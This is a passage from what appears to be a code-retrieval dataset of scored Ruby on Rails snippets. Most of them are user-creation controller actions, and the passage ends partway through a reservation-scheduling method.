"5865556aa0e62f502691438f93a69ffa", "score": "0.68924433", "text": "def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created\n\t\telse\n\t\t\t render json: @user.errors, status: :unprocessable_entity\n\t\tend \n\tend", "title": "" }, { "docid": "658a9fd767ace4792e059906c9b9d519", "score": "0.68890357", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: @user\n else\n render json: { errors: @user.errors, status: 400, msg: 'Something went wrong' }\n end\n end", "title": "" }, { "docid": "fa4ad44b4853a5ab1e6aa3313c6d42cf", "score": "0.6888416", "text": "def create\n @user = User.new(@json[\"user\"])\n\n if @user.save\n render json: @user\n else\n #internal error, 500\n render nothing: true, status: :internal_server_error\n end\n end", "title": "" }, { "docid": "1cb8d802bb52471afd5d60bf094f9bdb", "score": "0.6877769", "text": "def create\n user = User.new(user_params)\n if user.save\n \n render :json => user.to_json, :status => 201\n else\n render json: \"errors\", :status => 422\n end \n end", "title": "" }, { "docid": "94bc59d0b76fc5afd1ed26efc1f78b1f", "score": "0.68772763", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render_error @user, :unprocessable_entity\n end\n end", "title": "" }, { "docid": "054d637717a29e21996b88454862fde4", "score": "0.6873584", "text": "def create\n @user = User.new(params[:user])\n # p params\n if @user.save\n render json: @user\n else\n render json: { errors: @user.errors.full_messages },\n status: :bad_request\n end\n end", "title": "" }, { "docid": "54eed36c9616b41c583bc458060664be", "score": "0.6867748", "text": "def create\n\t\t@user = User.new(user_params)\n\n\t\tif @user.save\n\t\t\trender 'create.json.jbuilder', :status => 201\n\t\telse\n\t\t\trender :json => { :message => @user.errors.full_messages.to_sentence }, :status => 409\n\t\tend\n\tend", "title": "" }, { "docid": "b7779a1b718ac0b72f36ca7b338f68b4", "score": "0.6859317", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: 201\n else\n render json: @user.errors, status: 401\n end\n end", "title": "" }, { "docid": "1096306d19684a613358267ee6cec6ae", "score": "0.68469584", "text": "def create\n @user = User.post(params[:user])\n respond_with(@user)\n end", "title": "" }, { "docid": "454a28611de6d6e2ad4c6b59feffe333", "score": "0.6846166", "text": "def create\n user = User.new(user_params)\n if user.save\n render json: {\n id: user.id,\n username: user.username,\n jwt: JWT.encode({user_id: user.id}, ENV['JWT_SECRET'], ENV['JWT_ALGORITHM'])\n }\n else\n render json: [{}], status: 404\n end\n end", "title": "" }, { "docid": "948fe14de3a0e77f164961937bb2377b", "score": "0.6843779", "text": "def create\n @user = User.create(user_params)\n # /users --> post\n end", "title": "" }, { "docid": "6519b2125a72c68e1248974001dd9d7d", "score": "0.6840118", "text": "def create\n \tuser = User.new(user_params)\n \tif user.save\n \t render json: user\n \telse\n \t render error: {error: \"User is not created\", status: 422}\n \tend\n end", "title": "" }, { "docid": "8df22f393bc8ad52aa1665fe604885ca", "score": "0.6838773", "text": "def create\n @user = User.new(params[:user])\n \n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "617c21c8c23b38ec49f68ddf76b3e7a1", "score": "0.68316483", "text": "def create\n user = User.create(user_params)\n if user.save\n render json: { user: user.id }, status: 200\n else\n render json: { user: nil }, status: 404\n end\n end", "title": "" }, { "docid": "cbd2ad899e0e5718a9f666760c98e4c6", "score": "0.6824439", "text": "def create\n @user = User.new(user_params)\n if @user.save\n \trender :json => @user, status: :created\n else\n \trender :json => @user.errors.as_json(full_messages: true), status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "34edf9cb44d488f9c2ffe84c2aced578", "score": "0.6819148", "text": "def create\n \n username = params[:user][:username]\n email = params[:user][:email]\n\n @user = User.new({:username => username, :email => email })\n\n if @user.save\n render json: {\"status\": 200, \"message\": \"New User Created\"}\n else\n render json: {\"status\": 400, \"message\": \"Error!!\"}\n end\n\n end", "title": "" }, { "docid": "076894e18d6f0bc4f1d3f94666a7cbdd", "score": "0.681626", "text": "def create_user(options)\n post('/users', options)\n end", "title": "" }, { "docid": "1ff8d97032e5ef3f2cfa03459366afee", "score": "0.6812708", "text": "def create_user(params = {})\n post('users', params)\n end", "title": "" }, { "docid": "ba7c76e12af1b2be7494055bb568e90a", "score": "0.6802028", "text": "def create\n params.permit!\n @user = User.new params[:user]\n if @user.save\n render :json => @user, :status => :ok\n else\n render :json => { \"errors\" => @user.errors.full_messages} , :status => :unprocessable_entity\n end\n end", "title": "" }, { "docid": "748fd1ac2b72a250f33f1d2283f580b1", "score": "0.6780194", "text": "def create\n @user = User.new(user_params)\n if @user.save \n render json: { status: :created }\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b445a8e22ab09449c9d77d1fc73f7865", "score": "0.6778201", "text": "def create\n @user = User.new(resource_params)\n\n if @user.save\n render json: @user, status: :created, location: user_url(@user)\n else\n render json: {\n errors: @user.errors\n }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dcf86ae36f0a3794e96c047d7e977a82", "score": "0.677685", "text": "def create\n @user = User.new(:last_name=>params[:last_name], \n \t:first_name=>params[:first_name],\n \t:email=>params[:email]\n )\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.json { render :json => { :success => true, :users => [@user], :id=>@user.id } }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => { :success => false} }\n end\n end\n end", "title": "" }, { "docid": "c16615599afe27e1660e93f6fe4a1be8", "score": "0.67672867", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: { status: \"success\", message: \"User created successfully!\", data:@user}, status: :ok\n else\n render json: { status: \"error\",message:\"Sad error. Couldn't create user\"}\n end\n end", "title": "" }, { "docid": "d71bc2fc05bad5a6762618f29ce01c52", "score": "0.6766177", "text": "def create\n @user = User.build(user_create_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34c18e632a95ef9dbcd0fdb5b8a187bd", "score": "0.67636865", "text": "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { message: 'OK' }, status: :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "769ea412b2916fe4c3ab1c258172a945", "score": "0.67565805", "text": "def create_user payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post USERS, payload )\n\t\t\t\tend", "title": "" }, { "docid": "f0b9ad9d7740865f9cb3c64752694c1b", "score": "0.6746631", "text": "def create\n user = User.new(user_params)\n if user.save\n render json: { id: user.id, email: user.email }, status: :ok\n else\n render json: { message: user.errors.full_messages }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f55ace17cf27d9513f62193f9d5c4e7a", "score": "0.67391396", "text": "def create_user\n validate_params :user\n @user = User.new(params[:user])\n if @user.save\n render :text => {:status => 'ok', :id => @user.id}.to_json\n else\n render :text => {:status => 'fail', :errors => @user.errors}.to_json, :status => :bad_request\n end\n end", "title": "" }, { "docid": "b0b29ebdc89e5e27c5eaee218e155472", "score": "0.6732917", "text": "def create\n user = params.clone\n name = user[:user_id]\n user.delete :user_id\n user.delete :action\n user.delete :controller\n user[:name] = name\n @user = User.new(user)\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3ed48f500418d53e87c9e54731489c3d", "score": "0.6731942", "text": "def create\n @user = User.new(params[:user])\n \n respond_to do |format|\n if @user.save\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to users_path, :notice => 'User was successfully created.' }\n else\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } \n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15d5461026391c66ddc9d929fa043422", "score": "0.6728676", "text": "def create\n #raise params.to_yaml\n @user = User.new(params[:user])\n\n if @user.save\n render :json => @user, :status => :created\n else\n render :json => {:errors => @user.errors, :status =>:unprocessable_entity}\n end\n end", "title": "" }, { "docid": "02abca95cc48e5aebfd552203edd91f6", "score": "0.672862", "text": "def create_user\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/users.json'\n ).to_s\n\n begin\n puts RestClient.post(\n url,\n { user: { name: \"Gizmo\", email: 'cat@cat.com' } }\n )\n rescue RestClient::Exception => e\n puts e.message\n end\n\nend", "title": "" }, { "docid": "462fb35deed9c4ab3076a2ca6535edf3", "score": "0.67267644", "text": "def create\n user = User.create(user_params)\n if user.valid?\n render json: {user: user}\n else\n errors = user.errors.full_messages\n render json: {errors: errors}\n end\n end", "title": "" }, { "docid": "55cdcaf0a578cf4fcf78c2f31502449c", "score": "0.6709904", "text": "def create\n user = User.new(user_params)\n \n if user.save\n render json: {status: 'User created successfully', user_id: user.id, user: user}, status: :created\n else\n render json: { errors: user.errors.full_messages }, status: :bad_request\n end\n end", "title": "" }, { "docid": "24dcdd3c192a18a6349a0be80a7375e1", "score": "0.6707881", "text": "def create \n user = User.new(user_params)\n # Return the user details if successful and the error messages if unsuccessful\n if user.save\n render :json => {:authentication_token => user.authentication_token, user: user.as_json(except: [:created_at, :update_at])}, :status => 201\n else\n render json: {:errors => user.errors.messages}, :status => 422\n end\n end", "title": "" }, { "docid": "c745891e90b0caa1ffe023be568372ef", "score": "0.66996235", "text": "def create\n @user = User.new(user_credentials)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5fb6e6662ec44b2da9c4596dd0d068f6", "score": "0.66963094", "text": "def register\n post(\"/api/v1/registrations\", params: { \n user: {\n email: \"new_email@test.com\",\n password: \"a\",\n password_confirmation: \"a\" \n }\n })\n end", "title": "" }, { "docid": "73a0d52bbf83d451021c6961c8af3c6a", "score": "0.6689118", "text": "def post(user_form)\n HttpClient::Preconditions.assert_class('user_form', user_form, ::Io::Flow::V0::Models::UserForm)\n r = @client.request(\"/users\").with_json(user_form.to_json).post\n ::Io::Flow::V0::Models::User.new(r)\n end", "title": "" }, { "docid": "4b0b0278b48d74f5d53d6f3ae132cc2f", "score": "0.66869813", "text": "def create\n @user = User.new(email: params[:email], username: params[:username].downcase, password: params[:password])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8305f67720579dc3912a3125e25c0305", "score": "0.66852885", "text": "def create\n @user = User.new(user_params)\n ## @user.save\n if @user.save\n render json: @user, status: :created\n else\n raise(ExceptionHandler::InvalidParameters, 'Invalid User Parameters')\n end\n end", "title": "" }, { "docid": "055009f95035794de8e677216f680bd4", "score": "0.6683987", "text": "def create\n user = User.create(user_params)\n puts user.user_name\n render json: user, include: [:user_name]\n end", "title": "" }, { "docid": "3bdc35ee53f1027b20eafdb2ad5a1565", "score": "0.66725504", "text": "def create\n\n @user = User.new\n\n #Need the [:teams] because its a hash based on the post, and then\n #within that hash, we access the [:name]\n @user.name = params[:user][:name]\n @user.email = params[:user][:email]\n\n @user.save!\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { render :json => @user }\n end\n\n end", "title": "" }, { "docid": "d0d5c89f778a392bb5d4ccebdf37b43e", "score": "0.6670256", "text": "def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4772d872ff5305d61ab582d0aa9b605f", "score": "0.6645682", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, message: \"User created successfully.\"}, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3b711243d66b8c504d72f2f8229cc9d6", "score": "0.66424805", "text": "def create_user\n value = user_params\n create_user = HTTParty.post(ms_ip(\"rg\")+\"/users\", body: value.to_json, :headers => { 'Content-Type' => 'application/json' })\n if create_user.code == 201\n create_ldap = HTTParty.post(ms_ip(\"ldap\")+\"/user/resources/ldapcruds\", body: {\n email: value[:username],\n password: value[:password],\n name: value[:username]\n }.to_json, :headers => { 'Content-Type' => 'application/json' })\n render status: 201, json: create_user.body\n else\n render status: create_user.code, json: create_user.body\n end\n end", "title": "" }, { "docid": "72b38d42f8caef32a447acd08d7237bd", "score": "0.6642052", "text": "def post(user_form)\n (x = user_form; x.is_a?(::Io::Flow::V0::Models::UserForm) ? x : ::Io::Flow::V0::Models::UserForm.new(x))\n r = @client.request(\"/users\").with_json(user_form.to_json).post\n ::Io::Flow::V0::Models::User.new(r)\n end", "title": "" }, { "docid": "0aa40ed5dae3cf776f9c6425af089437", "score": "0.66408306", "text": "def create\n user_parameters[:name] = user_parameters[:email].split('@').first.split('.').join(' ') if user_parameters[:name].blank?\n render json: User.create!(user_parameters)\n rescue\n render_errors(user.errors.full_messages, :unprocessable_entity)\n end", "title": "" }, { "docid": "c552c6fe60fefc6ca7f75ad540b1c2b9", "score": "0.66398376", "text": "def test_should_create_user_via_API_JSON\r\n get \"/logout\"\r\n post \"/users.json\", :api_key=>'testapikey',\r\n :user => {:first_name => 'unit',\r\n :last_name => 'test',\r\n :twitter_id=>'uttwit',\r\n :login => 'ut1',\r\n :password => '12345',\r\n :password_confirmation => '12345',\r\n :email => 'ut@email.com'}\r\n assert_response :created, \"Incorrect response type\"\r\n user = JSON.parse(response.body)\r\n check_new_user(user) \r\n user = User.find_by_login('ut1')\r\n assert user.active? == true, 'user should be active'\r\n end", "title": "" }, { "docid": "27b9fb671ac6e1db608c681f389082fc", "score": "0.663958", "text": "def create\n @user = User.new(user_params)\n\n if !@user.valid?\n render json: @user.errors, status: :bad_request\n elsif @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a33c0e168125252fa684dd279c22aa97", "score": "0.6639562", "text": "def create_user(**args)\n request_post('/user', **args)\n end", "title": "" }, { "docid": "267dd56cd70f12e43c6f851f038534a0", "score": "0.66367537", "text": "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render :show, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7dc17ce1a24316ba7f5c1b08bee37b5", "score": "0.66264004", "text": "def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: [:api, @user]\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5a982cfcf17816ee795fd32e51019b20", "score": "0.66247374", "text": "def create\n @user = User.new\n @user.name = params[:name]\n @user.dni = params[:dni]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.password_confirmation = params[:password_confirmation]\n @user.save!\n\n render json: { params: params, notice: 'Usuario registrado exitosamente' }\n end", "title": "" }, { "docid": "3093e0fa3aa62524582212431d41e5b1", "score": "0.6608719", "text": "def create\n user = User.new(user_params)\n if user.save\n render json:{status: \"Se creó el usuario.\"}, status: :ok\n else\n render json: {status: \"Error al guardar.\", errors: user.errors}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "676c94198dbd98516bbb33097aea747e", "score": "0.6605626", "text": "def create\n @user = @target.users.new(user_params)\n @user.save\n respond_with(@user)\n end", "title": "" }, { "docid": "29deb566c9a982b6f5e0ce491c0db1fc", "score": "0.66023237", "text": "def create\n new_user(user_params)\n\n respond_to do |format|\n if @user.save\n # Send event to Datadog (DEPRECATED) and Segment\n # TODO: Remove Datadog once Segment pipeline is set up\n MetricUtil.put_metric_now(\"users.created\", 1, [\"user_id:#{@user.id}\"])\n\n format.html { redirect_to edit_user_path(@user), notice: \"User was successfully created\" }\n format.json { render :show, status: :created, location: root_path }\n else\n format.html { render :new }\n format.json { render json: @user.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e11a1e7e0e3edbab77b7385ba9569923", "score": "0.6599103", "text": "def users_post(user, opts = {})\n users_post_with_http_info(user, opts)\n nil\n end", "title": "" }, { "docid": "f3b91bf8b3b4807aab0fe737715cb501", "score": "0.65987664", "text": "def user_create\n\t\trespond_to do |format|\n\t\t\tnew_user = User.new params.require(:user).permit(:username, :email, :password, :password_confirmation)\n\t\t\tif User.where(:email => new_user.email).count > 0\n\t\t\t\tformat.json { render json: { \"error\" => \"Email ID already taken!\" }, status: 400 }\n\t\t\telsif User.where(:username => new_user.username).count > 0\n\t\t\t\tformat.json { render json: { \"error\" => \"Username already taken!\" }, status: 400 }\n\t\t\telsif new_user.password != new_user.password_confirmation\n\t\t\t\tformat.json { render json: { \"error\" => \"Passwords don't match! Check, and try again.\" }, status: 400 }\n\t\t\telsif new_user.save\n\t\t\t\tformat.json { render json: { \"res\" => new_user }, status: :created }\n\t\t\telse\n\t\t\t\tformat.json { render json: { \"error\" => \"Error while creation!\"}, status: 500 }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "eed7639218e14c6fe6793d30d6392ba5", "score": "0.6594311", "text": "def create\n puts \"created new user\"\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
4a6b7d6af23fb509ede9772ecdaa97bb
After update we want to return to the index page but show reservations for the date of the glider schedule we updated. Modify schedules_url to include arugemnt for the specific day to be used for the index action above
[ { "docid": "9b3eaee44d18bb7e95cb3ca0f5dbd51c", "score": "0.62640584", "text": "def schedule_url_for(schedule)\n #{}\"#{schedules_url}?utf8=✓&q=#{schedule.day.to_s}\"\n \"#{schedules_url}?q=#{schedule.day.to_s}\"\n end", "title": "" } ]
[ { "docid": "312644c092767bb62a44360453b8bb48", "score": "0.63982266", "text": "def index\n\tredirect_to new_availability_calendar_path\n end", "title": "" }, { "docid": "f70bb17be3b64e948c1644a215e56cfd", "score": "0.63014793", "text": "def update\n respond_to do |format|\n data = schedule_params\n data[:update_at] = Time.now\n if @schedule.update(data)\n format.html { redirect_to @schedule, notice: 'Schedule ha sido actualizado.' }\n format.json { render :index, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67ef730b5e82c525ef57f9b7f3ab77cc", "score": "0.6283555", "text": "def update\n if @agenda_reserv_resource.update(agenda_reserv_resource_params)\n flash[:success] = t('notices.updated_successfully')\n index\n end\n end", "title": "" }, { "docid": "065e10f2f53a01fdb21cf13d2a0fe552", "score": "0.62578684", "text": "def update\n # Protect from non-admin access\n admin_only do\n params[:weeklyday] = nil if params[:weeklyday] = ''\n @test = RecurringSchedule.find(params[:id])\n if @test.update(schedule_params)\n log_action('Update', current_user ? current_user.username : 'Anonymous', params[:id], 'RecurringSchedule')\n if params[:weeklyday].nil?\n @test.reload\n @test.weeklyday = nil\n @test.save\n end\n redirect_to action: \"show\", id: @test.id\n else\n render 'edit'\n end\n end\n end", "title": "" }, { "docid": "27cb7a1db80674fbe2339c44aa01ffcd", "score": "0.6238565", "text": "def update\n @schedule = Schedule.find(params[:id])\n \n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n\t expire_page :action => 'show', :id => params[:id]\n flash[:notice] = 'Schedule was successfully updated.'\n format.html { redirect_to(@schedule) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c855eae30c73686b90ac42eaa952182", "score": "0.61796886", "text": "def index\n @page_title = \"Arrivals scheduled #{currentDate + 1}\"\n @reservations = Reservation.all( :conditions => [\"confirm = ? AND startdate <= ? AND archived = ? AND cancelled = ? AND checked_in = ?\",\n\t\t\t\t\t\t true, currentDate + 1, false, false, false],\n\t\t\t\t :include => ['camper', 'space', 'rigtype'],\n\t\t\t\t :order => \"campers.last_name asc\" )\n render 'report/today_checkins/index.html.erb'\n end", "title": "" }, { "docid": "110e70033c0ae4653cb69b784db75b88", "score": "0.6128451", "text": "def update\n if @schedule.update(schedule_params)\n redirect_to schedules_path\n end\n end", "title": "" }, { "docid": "6c82b9520524a102aa09ed26bb0788a4", "score": "0.6098866", "text": "def update\n if @agenda_reservation.update(agenda_reservation_params)\n flash[:success] = t('notices.updated_successfully')\n index\n redirect_to agenda_reservations_path\n end\n end", "title": "" }, { "docid": "baa04c927d889735ab84bb0e9172db02", "score": "0.6098", "text": "def index\n @dates_schedules = DatesSchedule.all\n end", "title": "" }, { "docid": "f4adc5622cd5a311ad4ae6a017eb4489", "score": "0.60791004", "text": "def get_schedule\n Log.add_info(request, params.inspect)\n\n @date = Date.parse(params[:date])\n\n @schedules = Schedule.get_user_day(@login_user, @date)\n\n render(:partial => 'schedule', :layout => false)\n end", "title": "" }, { "docid": "25a91d293779d469b8c89a20ef7c0768", "score": "0.60296696", "text": "def update\n respond_to do |format|\n if @dates_schedule.update(dates_schedule_params)\n format.html { redirect_to @dates_schedule, notice: 'Dates schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dates_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dates_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ef3fb2bb733cf60edff04d8579c6c7a", "score": "0.60203576", "text": "def reservation \n\n # check if user pass a date. if user select a date we present him/her the schedule according to this date\n # else we show the schedule of current date.\n # @date: variable that contains the given date or the current according to user's timezone\n\n if params[:start_date] == \"\" || params[:start_date] == nil\n @date = Time.zone.today.to_s\n else\n @date = params[:start_date].split(\" \")[0]\n end\n\n node_obj = Nodes.new\n @resources_list_names = node_obj.get_resources_list_names\n @node_list = node_obj.get_node_list\n @user_slices = getSlices()\n @details_of_resources = node_obj.get_details_of_resources\n\n # columns: array with the times of a day. from 00:00 until 23:30. step = :30\n columns = Array.new(48)\n columns[0]= \"Name\"\n (0..47).each do |n|\n if (n % 2 == 0) \n columns[n+1] = \"#{n<20 ? \"0#{n / 2}\" : n / 2}:00\"\n else\n columns[n+1] = \"#{n<20 ? \"0#{n / 2}\" : n / 2}:30\"\n end\n end\n\n num = @resources_list_names.length\n # rows: a two dimension array filled with zero, except from the first column that is filled with the names of the resources\n rows = Array.new(num){Array.new(49,0)}\n\n $i=0\n\n while $i< num do\n rows[$i][0] = @resources_list_names[$i]\n $i +=1\n end\n\n # We have two cases.\n # if @date == Time.zone.today.to_s we shows the schedule of the next 24hours\n # else we shows the schedule for the selected date by the user\n if @date == Time.zone.today.to_s\n \n time_now = Time.zone.now.to_s.split(\" \")[1][0...-3]\n @tomorrow = (Time.zone.today + 1.day).to_s\n \n # today_and_tommorow_columns: table with first element the string \"Name\" and the rest elements are all times from the next half hour\n today_and_tommorow_columns = []\n today_and_tommorow_columns << \"Name\"\n columns.each do |element|\n if element > time_now && element != \"Name\"\n today_and_tommorow_columns << @date + \" \" + element \n end\n end\n\n columns.each do |element|\n if element <= time_now && element != \"Name\" \n today_and_tommorow_columns << @tomorrow + \" \" + element\n end\n end\n\n # @reservation_table: a table with hashes.\n # every element is a hash with the Name of the resource and the reserved timeslots\n # ex {\"Name\"=>\"node016\", \"2014-11-11 21:00\"=>0, \"2014-11-11 21:30\"=>0, \"2014-11-11 22:00\"=>0, \"2014-11-11 22:30\"=>0, \n # \"2014-11-11 23:00\"=>0, \"2014-11-11 23:30\"=>0, \"2014-11-12 00:00\"=>0, \"2014-11-12 00:30\"=>0, \"2014-11-12 01:00\"=>0, \"2014-11-12 01:30\"=>0,\n # \"2014-11-12 02:00\"=>0, \"2014-11-12 02:30\"=>1, \"2014-11-12 03:00\"=>0, \"2014-11-12 03:30\"=>0, \"2014-11-12 04:00\"=>0, \"2014-11-12 04:30\"=>0,\n # \"2014-11-12 05:00\"=>0, \"2014-11-12 05:30\"=>0, \"2014-11-12 06:00\"=>0, \"2014-11-12 06:30\"=>0, \"2014-11-12 07:00\"=>0, \"2014-11-12 07:30\"=>0, \n # \"2014-11-12 08:00\"=>0, \"2014-11-12 08:30\"=>0, \"2014-11-12 09:00\"=>0, \"2014-11-12 09:30\"=>0, \"2014-11-12 10:00\"=>0, \"2014-11-12 10:30\"=>0,\n # \"2014-11-12 11:00\"=>0, \"2014-11-12 11:30\"=>0, \"2014-11-12 12:00\"=>0, \"2014-11-12 12:30\"=>0, \"2014-11-12 13:00\"=>0, \"2014-11-12 13:30\"=>0, \n # \"2014-11-12 14:00\"=>0, \"2014-11-12 14:30\"=>0, \"2014-11-12 15:00\"=>0, \"2014-11-12 15:30\"=>0, \"2014-11-12 16:00\"=>0, \"2014-11-12 16:30\"=>0, \n # \"2014-11-12 17:00\"=>0, \"2014-11-12 17:30\"=>0, \"2014-11-12 18:00\"=>0, \"2014-11-12 18:30\"=>0, \"2014-11-12 19:00\"=>0, \"2014-11-12 19:30\"=>0, \n # \"2014-11-12 20:00\"=>0, \"2014-11-12 20:30\"=>0}\n # if there is a reservation for a specifiv timeslot we set the relative timeslot with 1 otherwise we have 0 (default value)\n\n @reservation_table = rows.map{|r| Hash[ *today_and_tommorow_columns.zip(r).flatten ] } \n\n @today_leases = getLeasesByDate(Time.zone.today.to_s)\n @tomorrow_leases = getLeasesByDate(@tomorrow)\n \n\n @reservation_table.each do |iterate|\n # filling 1 to @reservation_table for the reserved resources for the \"today\" date \n @today_leases.each do |today_lease|\n\n date_from = today_lease[\"valid_from\"].split(' ')[0]\n date_until = today_lease[\"valid_until\"].split(' ')[0]\n time_from = today_lease[\"valid_from\"].split(' ')[1][0...-3]\n time_until = today_lease[\"valid_until\"].split(' ')[1][0...-3]\n \n # use roundTimeFrom and roundTimeUntil for times between :00-:30 such as :15 (for minutes)\n time_from = roundTimeFrom(time_from)\n time_until = roundTimeUntil(time_until)\n\n #Auto me to prev einai gia na apofeugw ta diplwtupa (den einai aparaithto)\n prev_component = \"\"\n today_lease[\"components\"].each do |component|\n #puts (@date + \" \" + component[\"component\"][\"name\"]).to_s\n if component[\"component\"][\"name\"] != prev_component && iterate[\"Name\"] == component[\"component\"][\"name\"]\n if date_from == date_until\n if time_from < time_now && time_until > time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n #puts key_time \n \n if key_time > time_now && key_time < time_until \n iterate[key] = 1\n end\n end\n end\n elsif time_from > time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n \n if key_time >= time_from && key_time < time_until \n iterate[key] = 1\n end\n end\n end\n end \n elsif date_from < date_until\n if @date == date_from\n if time_from > time_now \n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n \n if key_time >= time_from \n iterate[key] = 1\n end\n end\n end\n else\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n \n if key_time > time_now \n iterate[key] = 1\n end \n end\n end \n end\n elsif @date == date_until\n if time_until > time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n \n if key_time > time_now && key_time < time_until \n iterate[key] = 1\n end\n end\n end\n end\n else\n iterate.each_key do |key| \n if key != \"Name\"\n key_time = key.split(\" \")[1] \n \n if key_time > time_now\n iterate[key] = 1\n end\n end\n end\n end\n end\n\n #puts component[\"component\"][\"name\"]\n prev_component = component[\"component\"][\"name\"]\n end\n end\n end\n end\n #puts @reservation_table\n @reservation_table.each do |iterate|\n # filling 1 to @reservation_table for the reserved resources for the \"tommorow\" date \n \n #Se auth thn periptwsh skeftomai to <= tou time_now san to orio tou programmatos \n #pou tha emfanisw sto xrhsh \n @tomorrow_leases.each do |tomorrow_lease|\n\n date_from = tomorrow_lease[\"valid_from\"].split(' ')[0]\n date_until = tomorrow_lease[\"valid_until\"].split(' ')[0]\n time_from = tomorrow_lease[\"valid_from\"].split(' ')[1][0...-3]\n time_until = tomorrow_lease[\"valid_until\"].split(' ')[1][0...-3]\n\n\n time_from = roundTimeFrom(time_from)\n time_until = roundTimeUntil(time_until)\n\n #Auto me to prev einai proswrinh lush gia na apofeugw ta diplwtupa \n prev_component = \"\"\n tomorrow_lease[\"components\"].each do |component|\n if component[\"component\"][\"name\"] != prev_component && iterate[\"Name\"] == component[\"component\"][\"name\"] \n if date_from == date_until\n if time_from < time_now && time_until <= time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n if key_time >= time_from && key_time < time_until\n iterate[key] = 1\n end \n end\n end \n elsif time_from <= time_now && time_until > time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n if key_time >= time_from && key_time <= time_now\n iterate[key] = 1\n end \n end\n end \n end\n elsif date_from < date_until\n if @tomorrow == date_from\n if time_from <= time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n if key_time >= time_from && key_time <= time_now \n iterate[key] = 1\n end \n end \n end \n end\n elsif @tomorrow == date_until\n if time_until <= time_now\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n if key_time < time_until \n 